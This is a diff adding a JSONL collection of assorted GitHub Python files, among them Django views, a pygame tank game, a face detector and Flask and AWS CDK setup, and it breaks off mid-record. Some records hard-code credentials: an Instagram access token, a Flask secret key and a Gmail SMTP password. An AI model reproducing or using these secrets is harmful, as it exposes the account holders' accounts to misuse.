diff --git "a/2938.jsonl" "b/2938.jsonl" new file mode 100644--- /dev/null +++ "b/2938.jsonl" @@ -0,0 +1,1789 @@ +{"seq_id":"10252277607","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Post, Player\n\n# Create your views here.\n\nplayers = [\n {\n \"name\": \"Hoops\",\n \"position\": \"Flanker\", \n \"country\": \"Aus\"\n },\n {\n \"name\": \"Hamish\",\n \"position\": \"Flanker\", \n \"country\": \"Scotland\"\n },\n {\n \"name\": \"Paolo\",\n \"position\": \"Flyhalf\", \n \"country\": \"ITALIA\"\n }\n]\n\ndef home(request):\n \"\"\"\n context = {\n \"title\": \"HOME PAGE TEST APP\",\n \"things\": players\n }\n return render(request, \"test_app_/home.html\", context)\n \"\"\"\n context = {\n \"title\": \"HOME PAGE TEST APP\",\n \"things\": Player.objects.all()\n }\n return render(request, \"test_app_/home.html\", context)\n\ndef about(request):\n return render(request, \"test_app_/about.html\", {\"title\": \"ABOUT PAGE TEST APP\"})","repo_name":"at808080/Django-Test","sub_path":"test_app_/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39574245940","text":"import pathlib as pl\nfrom PIL import Image\n\ndef make_gif(file_path):\n\n image_path = pl.Path('fig')\n append_images = [Image.open(f) for f in image_path.glob('*.png')]\n im = append_images[0]\n im.save(file_path,\n save_all=True,\n duration=600,\n append_images=append_images[1:])\n\n\ndef delete_png(dir_path):\n p = pl.Path(dir_path)\n print(p)\n for f in p.glob('*.png'):\n print(f)\n f.unlink()","repo_name":"miorgash/animations","sub_path":"make_gif.py","file_name":"make_gif.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28940764651","text":"# i made this one based from the previous comment i received on my code which apparently did not store the array properly huhu\n# inspired by past works :D\n\nfrom tkinter import *\nimport speech_recognition as sr\n\norderQueue = []\n\n# first operation\ndef take_order(customer_name, order):\n orderQueue.append((customer_name, order))\n print(f\"\\n===================================================\\n\\nQUEUE HAS BEEN UPDATED\\nOrder added to queue: {customer_name} - {order}\\n\")\n\n# second operation\ndef show_queue():\n if len(orderQueue) == 0:\n print(f\"\\n===================================================\\n(DISPLAY QUEUE)\\n\\nQueue is currently empty!\\n\")\n return\n else:\n print(\"\\n===================================================\\n(DISPLAY QUEUE)\\n\\nCurrently preparing:\\n\")\n for i, (customer_name, order) in enumerate(orderQueue):\n print(f\"{i+1}. {customer_name} - {order}\")\n\n# third operation\ndef serve_queue():\n if len(orderQueue) == 0:\n print(f\"\\n===================================================\\n(DISPLAY QUEUE)\\n\\nQueue is currently empty!\\n\")\n return\n (customer_name, order) = orderQueue.pop(0)\n print(f\"\\n===================================================\\n(DISPLAY QUEUE)\\n\\nNow Serving:\\n{customer_name} - {order}\\n\")\n\nprint(\"\\n===================================================\\n(MENU)\\nWhat would you like to do?\\n\")\nprint(\"1. I'm ready to order!\\n2. Is my order ready?\\n3. Order up!\\n4. Leave\")\n\n# loop\nwhile True:\n\n r = sr.Recognizer()\n\n with sr.Microphone() as source:\n r.adjust_for_ambient_noise(source,duration=1)\n print(\"\\nListening...\")\n audio = r.listen(source)\n try:\n print(\"\\nRecognizing...\")\n text = r.recognize_google(audio)\n print(\"\\nYou said: \" + text)\n if text == \"one\":\n customer_name = input(\"\\n===================================================\\n(ORDER)\\nGreat! You are now making an order.\\nPlease enter your name: \")\n order = input(\"\\nEnter your order: \")\n take_order(customer_name, order)\n elif text == \"two\":\n show_queue()\n elif text == \"three\":\n serve_queue()\n elif text == \"four\":\n print(\"\\nThank you for using Food Kiosk! Please come again.\\n\")\n break\n except Exception as e:\n print(e)\n answer = \"\\nSorry, I did not get that. Come again?\"\n print(answer)","repo_name":"kayette/DSA-Finals","sub_path":"food_service.py","file_name":"food_service.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18560033193","text":"import cv2\nimport urllib.request\nimport numpy as np\n\n\n\n\nurl = [\n \"http://127.0.0.1:8000/images/\"\n]\n\n\ndef url_to_image(url):\n # download the image, convert it to a NumPy array, and then read it into OpenCV format\n resp = urllib.request.urlopen(url)\n image = np.asarray(bytearray(resp.read()), dtype=\"uint8\")\n image = cv2.imdecode(image, cv2.IMREAD_COLOR)\n\n #return the image\n return image\n\n\nfor url in url:\n trained_face_data = cv2.CascadeClassifier(\n 'haarcascade_frontalface_default.xml')\n x = y = w = h = int\n image = url_to_image(url)\n face_coordinates = trained_face_data.detectMultiScale(image,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30),\n flags=cv2.CASCADE_SCALE_IMAGE)\n for (x, y, w, h) in face_coordinates:\n cv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0), 2)\ncv2.imshow(\"Image\", image)\ncv2.waitKey(0)\n\n\n\n\n\n\n# from tkinter import image_names\n# import cv2\n# import urllib.request\n# import numpy as np\n\n# # load some pre-trained data on face frontals from opencv using algorithm\n# trained_face_data = cv2.CascadeClassifier(\n# 'haarcascade_frontalface_default.xml')\n\n\n# url='http://127.0.0.1:8000/images/'\n# url_response = urllib.request.urlopen(url)\n# # # bytes_data = uploaded_file.getvalue()\n\n\n# # choosing image to detect face\n# img = cv2.imread(url_response)\n\n\n# # # converting color to gray scale.\n# grayscaled_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n# facecascade = cv2.CascadeClassifier('http://127.0.0.1:8000/images/')\n\n\n# # # Detect faces\n# face_coordinates = trained_face_data.detectMultiScale(grayscaled_img)\n\n# # # Draw rectangles\n# # # cv2.rectangle(img, (x,y), (x+w, y+h), (0, 255, 0), 2)\n# cv2.rectangle(img, (315, 431), (315+1286, 431+1286), (0, 255, 0), 2)\n\n# img_array = np.array(bytearray(url_response.read()), dtype=np.uint8)\n# img = cv2.imdecode(img_array, -1)\n\n# # # Display Grey Image\n# cv2.imshow('Face Detection', img)\n\n\n# print(face_coordinates)\n\n\n# # # wait for execution\n# cv2.waitKey()\n\n# print(\"successfully done\")\n\n\n# import numpy as np\n\n# import io\n# import json\n# import cv2\n# import os #const.py\n\n\n# def detect_face(binaryimg):\n# data = {\"success\": False}\n# if binaryimg is None:\n# return data\n\n# # convert the binary image to image\n# image = read_cv2_image(binaryimg)\n\n# # convert the image to grayscale\n# imagegray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# # load the face cascade detector,\n# facecascade = cv2.CascadeClassifier('http://127.0.0.1:8000/images/')\n\n# # detect faces in the image\n# facedetects = facecascade.detectMultiScale(imagegray, scaleFactor=1.1, minNeighbors=5,\n# minSize=(30, 30), flags=cv2.CASCADE_SCALE_IMAGE)\n\n# # construct a list of bounding boxes from the detection\n# facerect = [(int(fx), int(fy), int(fx + fw), int(fy + fh)) for (fx, fy, fw, fh) in facedetects]\n\n# # update the data dictionary with the faces detected\n# data.update({\"num_faces\": len(facerect), \"faces\": facerect, \"success\": True})\n# print(json.dumps(data))\n\n# # return the data dictionary as a JSON response\n# return data\n\n\n# def read_cv2_image(binaryimg):\n\n# stream = io.BytesIO(binaryimg)\n\n# image = np.asarray(bytearray(stream.read()), dtype=\"uint8\")\n# image = cv2.imdecode(image, cv2.IMREAD_COLOR)\n\n# return image\n","repo_name":"Giri-Sudip/ImageDetector","sub_path":"BackEnd/Face_Detector.py","file_name":"Face_Detector.py","file_ext":"py","file_size_in_byte":3573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23369468051","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nfrom mass_chain.mass_chain_model import find_steady_state\nfrom mass_chain.mass_chain_plot import plot_state\n\n\ndef main():\n M = 9\n x_last = np.array([1.0, 0.0, 0.0])\n xrest = find_steady_state(M, x_last=x_last)\n print(xrest)\n\n plt.figure()\n plot_state(xrest)\n plt.show()\n\n # perturb the system for 5 sampling times\n # x = xrest\n # model = export_cstr_model(0.2, M)\n # f_disc = ca.Function(\"f_disc\", [model.x, model.u], [model.disc_dyn_expr])\n #\n # plot(x)\n # plt.pause(1.0)\n # for i in range(5):\n # x = f_disc(x, np.array([-1.0, 1.0, 1.0])).full().flatten()\n # plot(x)\n # plt.pause(1.0)\n #\n # plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"tudoroancea/paper_rrlb_mpc","sub_path":"tests/mass_chain_steady_state_test.py","file_name":"mass_chain_steady_state_test.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25063632674","text":"# -*- coding: utf-8 -*-\n\"\"\"Defines plugins for AiiDA process node logs.\"\"\"\n# pylint: disable=too-few-public-methods,redefined-builtin,,unused-argument\n\nfrom typing import Any, Optional\n\nimport graphene as gr\nfrom aiida.orm import Log\n\nfrom aiida_restapi.filter_syntax import parse_filter_str\n\nfrom .orm_factories import (\n ENTITY_DICT_TYPE,\n multirow_cls_factory,\n resolve_entity,\n single_cls_factory,\n)\nfrom .plugins import QueryPlugin\nfrom .utils import FilterString\n\n\nclass LogQuery(single_cls_factory(Log)): # type: ignore[misc]\n \"\"\"Query an AiiDA Log\"\"\"\n\n\nclass LogsQuery(multirow_cls_factory(LogQuery, Log, \"logs\")): # type: ignore[misc]\n \"\"\"Query all AiiDA Logs.\"\"\"\n\n\ndef resolve_Log(\n parent: Any,\n info: gr.ResolveInfo,\n id: Optional[int] = None,\n uuid: Optional[str] = None,\n) -> ENTITY_DICT_TYPE:\n \"\"\"Resolution function.\"\"\"\n return resolve_entity(Log, info, id, uuid)\n\n\ndef resolve_Logs(\n parent: Any, info: gr.ResolveInfo, filters: Optional[str] = None\n) -> dict:\n \"\"\"Resolution function.\"\"\"\n # pass filter to LogsQuery\n return {\"filters\": parse_filter_str(filters)}\n\n\nLogQueryPlugin = QueryPlugin(\n \"log\",\n gr.Field(\n LogQuery, id=gr.Int(), uuid=gr.String(), description=\"Query for a single Log\"\n ),\n resolve_Log,\n)\nLogsQueryPlugin = QueryPlugin(\n \"logs\",\n gr.Field(\n LogsQuery,\n description=\"Query for multiple Logs\",\n filters=FilterString(),\n ),\n resolve_Logs,\n)\n","repo_name":"aiidateam/aiida-restapi","sub_path":"aiida_restapi/graphql/logs.py","file_name":"logs.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"23560996111","text":"import sys\n\ndef find_tidy(last):\n \"\"\"Find largest tidy number smaller than n.\"\"\"\n n = last\n while True:\n digits = list(map(int, str(n)))\n # find first digits that is \"wrong\"\n for i in range(len(digits) - 1):\n if digits[i] > digits[i + 1]:\n # digits below i'th one\n skip = n % (10 ** (len(digits) - 1 - i))\n break\n else:\n # found the first (and largest) tidy number!\n return n\n\n # n wasn't a tidy one, but we can skip a few checks\n n -= (skip + 1)\n\ndef main():\n # read data\n filename = sys.argv[-1]\n with open(filename, \"r\") as f:\n last_n = list(map(int, f.readlines()[1:]))\n\n with open(\"output.txt\", \"w\") as output:\n for i, n in enumerate(last_n):\n print(\"Case #{}: {}\".format(i + 1, find_tidy(n)), file=output)\n\nif __name__ == \"__main__\": main()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/4242.py","file_name":"4242.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13752970978","text":"from drl.algo.AgentConfig import AgentConfig\n\nclass PPO2Config(AgentConfig):\n def __init__(self):\n super().__init__()\n self.history_length = 4\n self.tag = 'ppo'\n self.entropy_weight = 0\n self.use_gae = True\n self.gae_tau = 1.0\n \n self.act_optimizer_fn = None\n self.critic_optimizer_fn = None\n \n self.optimization_epochs = 10\n self.mini_batch_size = 32 * 5\n self.ppo_ratio_clip = 0.2\n","repo_name":"wumo/drl","sub_path":"drl/algo/actor/ppo2/PPO2Config.py","file_name":"PPO2Config.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38282954479","text":"import matplotlib.pyplot as plt\r\nfrom scipy.stats import norm\r\nimport numpy as np\r\nimport math\r\n\r\ndef erf_normal(x):\r\n t = 1.0 / (1.0 + 0.5 * abs(x))\r\n ans = 1 - t * math.exp(-x * x - 1.26551223 + t * (1.00002368 + t * (0.37409196 + t * (0.09678418 + t * (-0.18628806 + t * (0.27886807 + t * (-1.13520398 + t * (1.48851587 + t * (-0.82215223 + t * (0.17087277))))))))))\r\n if x >= 0.0:\r\n return ans\r\n else:\r\n return -ans\r\n\r\n# Create cdf of a normal random variable\r\ndef norm_cdf(x, mu, var):\r\n return 0.5 * (1 + math.erf((x - mu)/math.sqrt(2*var)))\r\n\r\n# Create pdf of a uniform random variable\r\ndef norm_pdf(x, mu, sigma_2):\r\n f = np.exp(- (x - mu)**2 / (2 * sigma_2)) / (math.sqrt(2 * np.pi * sigma_2))\r\n return f\r\n\r\n# Genrating the list of x\r\nx = np.linspace(-6, 6, 100000)\r\n\r\nmean = [0, 0, 0, -3, -3, -3]\r\nvariance = [1, 0.1, 0.01, 1, 0.1, 0.01]\r\n\r\n# Plotting\r\n# divide the frame into 4 part: part a is in row 1, and part b is in row 2\r\nfig, (ax1, ax2) = plt.subplots(1, 2)\r\n# Set title and label for graphs\r\nplt.suptitle(\"Normal distribution for random variable\")\r\nax1.set_title(\"pdf function\")\r\nax2.set_title(\"cdf function\")\r\nax1.set_xlabel('x')\r\nax2.set_xlabel('x')\r\nax1.set_ylabel('f(x)')\r\nax2.set_ylabel('F(x)')\r\n\r\n# Plotting pdf\r\nfor i in range(6):\r\n ax1.plot(x, [norm_pdf(x_i, mean[i], variance[i]) for x_i in x], label = 'mean=%.d var=%.2f' %(mean[i], variance[i]))\r\n\r\n# Plotting cdf\r\nfor i in range(6):\r\n ax2.plot(x, [norm_cdf(x_i, mean[i], variance[i]) for x_i in x], label = 'mean=%.d var=%.2f' %(mean[i], variance[i]))\r\n\r\nax1.legend()\r\nax2.legend()\r\nplt.show()\r\n","repo_name":"thanhnguyen210299/CSULB-EE-381-_-PROBABILITY-AND-STATISTIC-COMPUTING","sub_path":"Project 04/Lab04_Q1.py","file_name":"Lab04_Q1.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17499137543","text":"import json\nfrom flask import Flask\nfrom flask_mail import Mail\nfrom flask_executor import Executor\nfrom flask_login import LoginManager\nfrom flask_sqlalchemy import SQLAlchemy\n\ndb = SQLAlchemy()\n\nlogin_manager = LoginManager()\n\nmail = Mail()\n\nexecutor = Executor()\n\ndef create_app() -> None:\n\n app = Flask(__name__)\n\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///elar.db'\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n app.config['SECRET_KEY'] = \"LeoEsJoto692316\"\n\n app.config['MAIL_SERVER'] = 'smtp.gmail.com'\n app.config['MAIL_PORT'] = 465\n app.config['MAIL_USE_TLS'] = False\n app.config['MAIL_USE_SSL'] = True\n app.config['MAIL_USERNAME'] = \"elart.mexico@gmail.com\"\n app.config['MAIL_PASSWORD'] = \"Elart345\"\n\n from .public import public_bp\n app.register_blueprint(public_bp)\n\n from .admin import admin_bp\n app.register_blueprint(admin_bp)\n\n from .equipo import equipo_bp\n app.register_blueprint(equipo_bp)\n\n from .errors import errors_bp\n app.register_blueprint(errors_bp)\n\n db.init_app(app)\n login_manager.init_app(app)\n mail.init_app(app)\n executor.init_app(app)\n\n return app\n ","repo_name":"unlikeghost/ELART","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72350842435","text":"import time\n\nimport numpy as np\nimport pygame\n\nfrom bullet import Bullet\n\nclass Tank(pygame.sprite.Sprite):\n \"\"\"\n A class representing a tank in the game world.\n Tanks are shown as rectangles with a turret on top. The turret is constructed from a circle and a rectangle.\n The tank can be moved, rotated and fired. The turret can also be rotated separately from the tank.\n \"\"\"\n def __init__(self,\n position: np.ndarray,\n rotation: float,\n color: str,\n bullet_color: str = None,\n velocity: np.ndarray = np.zeros(2),\n fire_cooldown: float = 0.5,\n health: int = 100,\n max_health: int = 100,\n name: str=\"\"):\n \"\"\"\n Creates a new tank object.\n\n Args:\n - position: A tuple of x and y coordinates representing the tank's position \n - rotation: A float representing the angle of the tank's turret in degrees\n - color: A string representing the color of the tank\n - velocity: A tuple of x and y components representing the tank's velocity\n - health: An integer representing the tank's remaining health\n - max_health: An integer representing the tank's maximum health\n \"\"\"\n super().__init__()\n self.position: np.ndarray = position\n self.last_position: np.ndarray = position\n self.rotation: float = rotation\n print(f\"placing tank at {position} with rotation {self.rotation}\")\n self.last_rotation: float = self.rotation\n self.turret_rotation: float = np.mod(rotation + 180, 360.0)\n \n self.name: str = name\n\n self.velocity: np.ndarray = velocity\n self.rotation_speed = 100.0 # Degrees per second\n self.max_speed: float = 2 # Pixels per second\n\n self.new_velocity: np.ndarray = self.velocity\n self.new_rotation: float = self.rotation\n self.new_turret_rotation: float =self.turret_rotation\n # gameplay parameters\n self.fire_cooldown: float = fire_cooldown\n self.last_fired: float = time.time()\n self.bullet_damage: int = 10\n self.health: int = health\n self.max_health: int = max_health\n # parameters for the tank's sprite\n self.color: str = color\n self.bullet_color: str = bullet_color if bullet_color else color\n self.turret_offset: np.ndarray = np.array([-8, 0])\n self.tank_length, self.tank_width = 60, 30\n self.turret_radius: int = 15 # in pixels\n self.cannon_length, self.cannon_width = 25, 10\n self.health_bar_height: int = 10\n self.health_bar_y_offset: int = self.tank_length//2# + self.health_bar_height\n # self.fire_sound: pygame.mixer.Sound = pygame.mixer.Sound(\"sounds/mixkit-cinematic-laser-swoosh-1467.wav\")\n self.create_sprite()\n\n\n def update_movement(self, move_direction: np.ndarray, dt: float):\n if move_direction is None:\n move_direction: np.ndarray = np.zeros(2)\n # Rotate the tank\n rotation_direction: float = move_direction[0]\n self.new_rotation: float = self.rotation - rotation_direction * self.rotation_speed * dt\n self.new_rotation: float = np.mod(self.new_rotation, 360.0)\n self.new_turret_rotation: float = self.turret_rotation - rotation_direction * self.rotation_speed * dt\n self.new_turret_rotation: float = np.mod(self.new_turret_rotation, 360.0)\n # Calculate the acceleration vector\n forward_direction: np.ndarray = np.array([np.cos(np.deg2rad(self.rotation)), -np.sin(np.deg2rad(self.rotation))])\n self.new_velocity: np.ndarray = forward_direction * move_direction[1] * self.max_speed\n\n\n def aim(self, turret_direction: np.ndarray, dt: float):\n \"\"\"\n Rotate the turret to aim at the given direction.\n\n Args:\n turret_direction (np.ndarray): A tuple of x and y components representing the direction to aim at. If None, do not change the turret's rotation.\n \"\"\"\n if turret_direction is not None:\n # rotate turret\n self.new_turret_rotation: float = np.rad2deg(np.arctan2(-turret_direction[1], turret_direction[0]))\n # rotation_direction: np.ndarray = turret_direction[0]\n # # cannot rotate cannon more than 90° to either side\n # self.new_turret_rotation -= rotation_direction * self.rotation_speed * dt\n # self.new_turret_rotation: float = np.mod(self.new_turret_rotation, 360.0)\n # if abs(self.new_rotation - self.new_turret_rotation) < 70:\n # self.new_turret_rotation = self.turret_rotation\n\n\n def move(self):\n self.last_position = self.position.copy()\n self.last_rotation = self.rotation\n # Update the position and rotation\n self.position += self.new_velocity\n self.velocity: np.ndarray = self.new_velocity\n self.rotation: float = self.new_rotation\n self.turret_rotation: float = self.new_turret_rotation\n\n self.new_velocity: np.ndarray = np.zeros(2)\n self.new_rotation = self.rotation\n\n def reset_to_last_position(self):\n if np.any(self.last_position != self.position):\n self.position: np.ndarray = self.last_position\n self.rotation: float = self.last_rotation\n\n self.new_velocity: np.ndarray = np.zeros(2)\n self.new_rotation: float = self.rotation\n\n\n def fire(self) -> Bullet:\n \"\"\"\n Fire a bullet from the tank's cannon in the direction of the turret's rotation. Update the `last_fired` time to limit the fire rate.\n\n Returns:\n Bullet: A bullet object if the tank can fire, None otherwise.\n \"\"\"\n if time.time() - self.last_fired < self.fire_cooldown:\n return None\n self.last_fired: float = time.time()\n # calculate bullet velocity from turret rotation\n cannon_direction = np.array([np.cos(np.deg2rad(self.turret_rotation)), -np.sin(np.deg2rad(self.turret_rotation))])\n bullet_velocity: np.ndarray = cannon_direction * 300 + self.velocity\n \n bullet_position = self.position + cannon_direction * self.cannon_length\n # play fire sound\n # self.fire_sound.play()\n \n return Bullet(\n position=bullet_position,\n velocity=bullet_velocity,\n parent=self,\n color=self.bullet_color,\n damage=self.bullet_damage\n )\n\n\n def damage(self, damage: int):\n \"\"\"\n Reduce the tank's health by the given amount.\n\n Args:\n damage (int): The amount of damage to deal.\n \"\"\"\n self.health = max(0, self.health - damage)\n\n\n def detect_tank_collision(self, other_tank: \"Tank\") -> bool:\n \"\"\"\n Detects if the tank is colliding with another tank.\n\n Args:\n other_tank (Tank): The other tank to check for collision.\n\n Returns:\n bool: True if the tanks are colliding, False otherwise.\n \"\"\"\n # Get the masks for both tanks\n self_mask = pygame.mask.from_surface(self.image)\n other_mask = pygame.mask.from_surface(other_tank.image)\n\n # Calculate the offset between the two tanks\n offset = (other_tank.rect.bottomleft[0] - self.rect.bottomleft[0],other_tank.rect.bottomleft[1] - self.rect.bottomleft[1])\n return self_mask.overlap(other_mask, offset) is not None\n\n def detect_wall_collision(self, wall_mask: pygame.mask.Mask) -> bool:\n \"\"\"\n Detects if the tank is colliding with a wall.\n\n Args:\n wall_mask (pygame.mask.Mask): The mask of the wall to check for collision.\n\n Returns:\n bool: True if the tank is colliding with the wall, False otherwise.\n \"\"\"\n # Calculate the offset between the tank and the wall\n offset = (\n wall_mask.get_rect().topleft[0] - self.rect.topleft[0],\n wall_mask.get_rect().topleft[1] - self.rect.topleft[1])\n # Check if the masks overlap using the collide_mask method\n return self.mask.overlap(wall_mask, offset) is not None\n\n\n def create_sprite(self, turret_color: str = \"#222222\"):\n \"\"\"\n Create surfaces for the tank using the given color.\n Also create a surface for the turret (black circle) and the cannon (black rectangle).\n \"\"\"\n self.rect = pygame.Rect(\n self.position[0] - self.tank_length / 2,\n self.position[1] - self.tank_width / 2,\n self.tank_length,\n self.tank_width)\n self.image = pygame.Surface((self.tank_length, self.tank_width), pygame.SRCALPHA)\n pygame.draw.rect(self.image, pygame.Color(self.color), (0, 0, self.tank_length, self.tank_width))\n self.mask: pygame.mask.Mask = pygame.mask.from_surface(self.image)\n \n self.turret_rect = pygame.Rect(\n self.position[0] - self.turret_radius - self.turret_offset[0],\n self.position[1] - self.turret_radius - self.turret_offset[1],\n self.turret_radius * 2 - self.turret_offset[0],\n self.turret_radius * 2 - self.turret_offset[1])\n self.turret_image = pygame.Surface((self.turret_radius * 2, self.turret_radius * 2), pygame.SRCALPHA)\n pygame.draw.circle(self.turret_image, pygame.Color(turret_color), (self.\n turret_radius, self.turret_radius), self.turret_radius)\n \n self.cannon_rect = pygame.Rect(\n self.position[0],\n self.position[1] - self.cannon_width/2,\n self.cannon_width,\n self.cannon_length)\n self.cannon_image = pygame.Surface((self.cannon_length, self.cannon_width), pygame.SRCALPHA)\n pygame.draw.rect(self.cannon_image, pygame.Color(turret_color), (0, 0, self.cannon_length, self.cannon_width))\n\n # create a health bar above the tank\n self.health_bar = pygame.Surface((self.tank_length, self.health_bar_height), pygame.SRCALPHA)\n pygame.draw.rect(self.health_bar, pygame.Color(\"#00aa00\"), (0, 0, self.tank_length, 275))\n \n # create player name text\n \n\n\n def draw(self, screen: pygame.Surface):\n \"\"\"\n Draw the tank and its turret onto the game screen.\n \"\"\"\n # move tank image\n self.rect.center = self.position\n # rotate tank image\n rotated_tank_image = pygame.transform.rotate(self.image, self.rotation)\n # rotate the cannon image\n rotated_cannon_image = pygame.transform.rotate(self.cannon_image, self.turret_rotation)\n \n # move and rotate tank\n rotated_tank_rect = rotated_tank_image.get_rect(center=self.rect.center)\n screen.blit(rotated_tank_image, rotated_tank_rect)\n # move turret\n tank_front = np.array([np.cos(np.deg2rad(self.rotation)), -np.sin(np.deg2rad(self.rotation))])\n turret_offset = - tank_front * self.turret_offset[0]\n turret_rect = self.turret_image.get_rect(center=self.rect.center + turret_offset)\n screen.blit(self.turret_image, turret_rect)\n # move and rotate cannon\n cannon_offset = np.array([np.cos(np.deg2rad(self.turret_rotation)), -np.sin(np.deg2rad(self.turret_rotation))]) * self.turret_radius\n rotated_cannon_rect = rotated_cannon_image.get_rect(center=self.rect.center + cannon_offset + turret_offset)\n screen.blit(rotated_cannon_image, rotated_cannon_rect)\n\n # calculate health bar position and width\n health_bar_width = int(self.health / self.max_health * self.tank_length)\n health_bar_left = int(self.rect.centerx - self.tank_length / 2)\n \n # create health bar surface\n self.health_bar = pygame.Surface((self.tank_length, self.health_bar_height), pygame.SRCALPHA)\n\n \n # draw health bar background\n pygame.draw.rect(self.health_bar, pygame.Color(\"#cccccc\"), (0, 0, self.tank_length, self.health_bar_height))\n \n # draw health bar fill\n if self.health / self.max_health < 0.3:\n self.health_bar.fill(pygame.Color(\"#cc0000\"), (0, 0, health_bar_width, self.health_bar_height))\n elif self.health / self.max_health < 0.6:\n self.health_bar.fill(pygame.Color(\"#cc8800\"), (0, 0, health_bar_width, self.health_bar_height))\n else:\n self.health_bar.fill(pygame.Color(\"#00aa00\"), (0, 0, health_bar_width,107))\n \n # draw health bar border\n pygame.draw.rect(self.health_bar, pygame.Color(\"#000000\"), (0, 0, self.tank_length, self.health_bar_height + 2), 2)\n \n # draw health bar\n screen.blit(self.health_bar, (health_bar_left, self.rect.top - self.health_bar_height - self.health_bar_y_offset))","repo_name":"simulatedScience/tanks_pygame","sub_path":"tank.py","file_name":"tank.py","file_ext":"py","file_size_in_byte":11812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"305873418","text":"from aws_cdk import (\n core\n)\nimport aws_cdk.aws_ec2 as ec2\nimport aws_cdk.aws_iam as iam\nimport aws_cdk.aws_rds as rds\nimport aws_cdk.aws_secretsmanager as secrets\n\n\n\nclass RDSStack(core.Stack):\n\n def __init__(self, scope: core.Construct, construct_id: str,vpc: ec2.Vpc, **kwargs) -> None:\n super().__init__(scope, construct_id, **kwargs)\n \n cluster = rds.DatabaseCluster(self, \"Database\",\n engine=rds.DatabaseClusterEngine.aurora_postgres(version=rds.AuroraPostgresEngineVersion.VER_10_11),\n# credentials=rds.Credentials.from_generated_secret(\"syscdk\"), # Optional - will default to 'admin' username and generated password\n instance_props={\n # optional , defaults to t3.medium\n \"instance_type\": ec2.InstanceType.of(ec2.InstanceClass.BURSTABLE3, ec2.InstanceSize.MEDIUM),\n \"vpc_subnets\": {\n \"subnet_type\": ec2.SubnetType.PRIVATE\n },\n \"vpc\": vpc\n }\n )\n \n\n\n \n\n","repo_name":"Nilesh9490/cdk_project","sub_path":"stacks/rds_stack.py","file_name":"rds_stack.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9039302739","text":"class Numeros():\r\n\tdef __init__(self, uno, dos, tres, cuatro):\r\n\t\tself.uno = uno\r\n\t\tself.dos = dos\r\n\t\tself.tres = tres\r\n\t\tself.cuatro = cuatro\r\n\r\n\tdef imprimir(self):\r\n\t\tprint(self.uno, self.dos, self.tres, self.cuatro)\r\n\r\nejemplo = Numeros(1,2,3,8)\r\nejemplo.imprimir()\r\n","repo_name":"Cainuriel/Training-Python-","sub_path":"ejemplo_constructor.py","file_name":"ejemplo_constructor.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39574313190","text":"# -*- coding: utf-8 -*-\nfrom . import helpers\nfrom collections import Counter\n\ndef count_token(text):\n \"\"\"Counts token size\"\"\"\n return len(text)\n\n\ndef get_bigram(text):\n \"\"\"Counts N-gram\"\"\"\n cur = '[BOS]'\n bigrams = []\n for token in text:\n pre = cur\n cur = token\n bigrams.append((pre, cur))\n\n return bigrams\n\ndef get_bigram_frequency(text):\n \"\"\"Get\"\"\"\n cur = '[BOS]'\n bigrams = []\n for token in text:\n pre = cur\n cur = token\n bigrams.append((pre, cur))\n\n frequencies = Counter(bigrams)\n\n return frequencies\n","repo_name":"miorgash/pypi-project","sub_path":"pymod/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16750677261","text":"import requests\nimport json\n\nINSTAGRAM = {\n\t\"access_token\":\"272246557.baf3914.069a0fb4d48e45b586e2884032d24dfd\",\n}\n\n\n\ndef get_instagram_pics():\n\turl = 'https://api.instagram.com/v1/users/3532778/media/recent/?access_token='\n\tr = requests.get(url+INSTAGRAM['access_token'])\n\tif(r.ok):\n\t\timages = r.json()['data']\n\t\tlinks = []\n\t\tfor image in images:\n\t\t\tlinks.append(image['images']['standard_resolution']['url'])\n\t\treturn links","repo_name":"IagoLast/ficonDevWeb","sub_path":"src/apis.py","file_name":"apis.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25619012898","text":"#내 풀이\ndef solution(phone_book):\n for i in range(0, 